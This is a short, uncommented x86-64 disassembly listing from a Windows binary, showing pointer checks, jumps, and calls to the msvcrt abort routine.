je 0x140004622
test rax, rax
jne 0x140004660
call fcn.1400094e0
nop dword [rax]
mov rax, qword [rax + 0x30]
jmp 0x140004630
call fcn.1400094e0
cmp qword [rax + 0x30], 0
mov rax, qword [rsi]
je 0x140004600
test rax, rax
jne 0x140004690
call fcn.1400094e0
nop dword [rax]
mov rbx, qword [rax + 0x30]
jmp 0x14000460b
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
mov rax, qword [pe_dos_header]
ud2